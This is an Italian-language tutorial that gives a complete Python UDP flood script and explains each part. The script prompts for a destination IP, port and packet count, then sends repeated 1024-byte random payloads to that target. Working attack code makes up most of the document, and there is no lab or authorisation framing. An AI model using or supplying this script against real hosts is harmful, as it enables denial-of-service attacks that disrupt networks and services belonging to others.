```
import socket
import random
import ipaddress

def avvia_udp_flood(dest_ip, dest_porta, numero_pacchetti):
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    payload = bytearray(random.getrandbits(8) for _ in range(1024))
    print(f"Avvio del flood UDP verso {dest_ip}:{dest_porta} con {numero_pacchetti} pacchetti...")

    for _ in range(numero_pacchetti):
        udp_socket.sendto(payload, (dest_ip, dest_porta))

    print("Flood UDP completato con successo.")
    udp_socket.close()

if __name__ == "__main__":
    dest_ip = input("Inserisci l'indirizzo IP di destinazione: ")
    if not ipaddress.ip_address(dest_ip):
        print("Errore: Indirizzo IP non valido.")
        exit(1)
    dest_porta_input = input("Inserisci la porta di destinazione: ")
    if not dest_porta_input.isdigit():
        print("Errore: La porta deve essere un numero.")
        exit(1)

    dest_porta = int(dest_porta_input)
    if not (1 <= dest_porta <= 65535):
        print("Errore: La porta deve essere compresa tra 1 e 65535.")
        exit(1)
    numero_pacchetti_input = input("Inserisci il numero di pacchetti da inviare: ")
    if not numero_pacchetti_input.isdigit():
        print("Errore: Il numero di pacchetti deve essere un numero.")
        exit(1)
```

```
numero_pacchetti = int(numero_pacchetti_input)

if numero_pacchetti <= 0:

    print("Errore: Il numero di pacchetti deve essere maggiore di zero.")

    exit(1)

avvia_udp_flood(dest_ip, dest_porta, numero_pacchetti)
```

1. Importazione delle librerie

```
import socket
import random
import ipaddress
```

- **`socket`**: Fornisce il supporto per creare e gestire socket di rete. In questo caso, viene usato per inviare pacchetti UDP.
- **`random`**: Utilizzato per generare dati casuali (payload) da inviare nei pacchetti UDP.
- **`ipaddress`**: Serve a validare gli indirizzi IP inseriti dall'utente.

2. Funzione **`avvia_udp_flood`**

```
def avvia_udp_flood(dest_ip, dest_porta, numero_pacchetti):
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    payload = bytearray(random.getrandbits(8) for _ in range(1024))
    print(f"Avvio del flood UDP verso {dest_ip}:{dest_porta} con
{numero_pacchetti} pacchetti...")

    for _ in range(numero_pacchetti):
        udp_socket.sendto(payload, (dest_ip, dest_porta))

    print("Flood UDP completato con successo.")
    udp_socket.close()
```

Componenti principali:

1. **`udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)`**:
   - Crea un socket UDP (`AF_INET` indica il protocollo IPv4, `SOCK_DGRAM` indica il protocollo UDP).
2. **`payload = bytearray(random.getrandbits(8) for _ in range(1024))`**:
   - Genera un array di byte casuali di 1024 byte da usare come contenuto del pacchetto UDP.
3. **`for _ in range(numero_pacchetti):`**:
   - Ciclo che invia `numero_pacchetti` pacchetti all'indirizzo IP e porta specificati.
4. **`udp_socket.sendto(payload, (dest_ip, dest_porta))`**:
   - Invia un pacchetto UDP al target.
5. **`udp_socket.close()`**:
   - Chiude il socket per rilasciare le risorse.

3. Blocco principale (**`if __name__ == "__main__":`**)

a. Input dell'utente

```
dest_ip = input("Inserisci l'indirizzo IP di destinazione: ")
```

Chiede all'utente l'indirizzo IP di destinazione.

b. Validazione dell'indirizzo IP

```
if not ipaddress.ip_address(dest_ip):
    print("Errore: Indirizzo IP non valido.")
    exit(1)
```

Verifica che l'indirizzo IP sia valido. In caso di errore, termina il programma con un messaggio.

c. Input e validazione della porta

```
dest_porta_input = input("Inserisci la porta di destinazione: ")
if not dest_porta_input.isdigit():
    print("Errore: La porta deve essere un numero.")
    exit(1)

dest_porta = int(dest_porta_input)
if not (1 <= dest_porta <= 65535):
    print("Errore: La porta deve essere compresa tra 1 e 65535.")
    exit(1)
```

- **`dest_porta_input.isdigit()`**: Controlla che l'input sia un numero intero.
- **`1 <= dest_porta <= 65535`**: Controlla che la porta sia compresa nell'intervallo valido per le porte TCP/UDP.

d. Input e validazione del numero di pacchetti

```
numero_pacchetti_input = input("Inserisci il numero di pacchetti da inviare: ")
if not numero_pacchetti_input.isdigit():
    print("Errore: Il numero di pacchetti deve essere un numero.")
    exit(1)

numero_pacchetti = int(numero_pacchetti_input)
if numero_pacchetti <= 0:
    print("Errore: Il numero di pacchetti deve essere maggiore di zero.")
    exit(1)
```

- **`numero_pacchetti_input.isdigit()`**: Controlla che l'input sia un numero intero positivo.
- **`numero_pacchetti > 0`**: Verifica che il numero di pacchetti sia maggiore di zero.

e. Avvio della funzione `avvia_udp_flood`

```
avvia_udp_flood(dest_ip, dest_porta, numero_pacchetti)
```

Richiama la funzione per iniziare l'invio dei pacchetti.